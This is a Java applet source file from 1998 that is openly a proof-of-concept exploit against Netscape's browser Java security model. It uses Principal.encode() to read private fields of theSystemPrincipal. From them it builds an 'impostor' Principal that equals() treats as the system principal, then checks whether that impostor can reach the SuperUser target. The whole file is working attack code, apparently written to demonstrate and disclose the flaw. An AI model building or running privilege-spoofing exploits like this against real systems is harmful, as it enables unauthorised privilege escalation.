/* Impostor.java by Mark D. LaDue */ /* April 12, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This applet retrieves some important private fields from theSystemPrincipal by taking advantage of the Principal.encode() method. It then uses that information to construct an impostor, a Principal which is distinct from theSystemPrincipal and yet which is declared to be equal by the Principal.equals() method. */ import netscape.applet.*; import netscape.security.*; import netscape.util.*; public class Impostor extends java.applet.Applet implements Runnable { Thread controller = null; PrivilegeManager privy = null; Principal princeps = null; Principal impostor = null; Principal bogus = null; GetPrincipalInfo sys = new GetPrincipalInfo(); GetPrincipalInfo imp = new GetPrincipalInfo(); GetPrincipalInfo bog = new GetPrincipalInfo(); Target tar = null; Privilege tarpriv = null; public void init() { } public void start() { if (controller == null) { controller = new Thread(this); controller.start(); } } public void stop() {} public void run() { Control.showConsole(); // Get theSystemPrincipal privy = PrivilegeManager.getPrivilegeManager(); princeps = privy.getSystemPrincipal(); // Get its private fields try { princeps.encode(sys); } catch (CodingException ce) {System.out.println("CodingException!");} // Display them System.out.println("\nPrivate fields from theSystemPrinicpal:\n"); sys.printInfo(); // Create the impostor byte[] byter = sys.itsBinaryRep; impostor = new Principal(14, byter); // Get its private fields (though we know them already) try { impostor.encode(imp); } catch (CodingException ce) {System.out.println("CodingException!");} // Display them System.out.println("Private fields from the impostor:\n"); imp.printInfo(); // They're distcinct, but what does the JVM believe? if (impostor.equals(princeps)) { System.out.println("The impostor and theSystemPrincipal are equal."); } else {System.out.println("The impostor and theSystemPrincipal are not equal.");} // Test it further by getting a target that belongs only to theSystemPrincipal tar = Target.findTarget("SuperUser", impostor); if (tar != null) {System.out.println("SuperUser Target exists for the impostor.");} else {System.out.println("SuperUser Target does not exist for the impostor.");} // Watch what happens with an obviously fake Principal byte[] bogusbytes = {(byte)1, (byte)2, (byte)3, (byte)4, (byte)5}; bogus = new Principal(14, bogusbytes); try { bogus.encode(bog); } catch (CodingException ce) {System.out.println("CodingException!");} System.out.println("\nPrivate fields from the bogus Principal:\n"); bog.printInfo(); if (bogus.equals(princeps)) { System.out.println("The bogus Principal and theSystemPrincipal are equal."); } else {System.out.println("The bogus Principal and theSystemPrincipal are not equal.");} tar = Target.findTarget("SuperUser", bogus); if (tar != null) {System.out.println("SuperUser Target exists for the bogus Principal.");} else {System.out.println("SuperUser Target does not exist for the bogus Principal.");} } }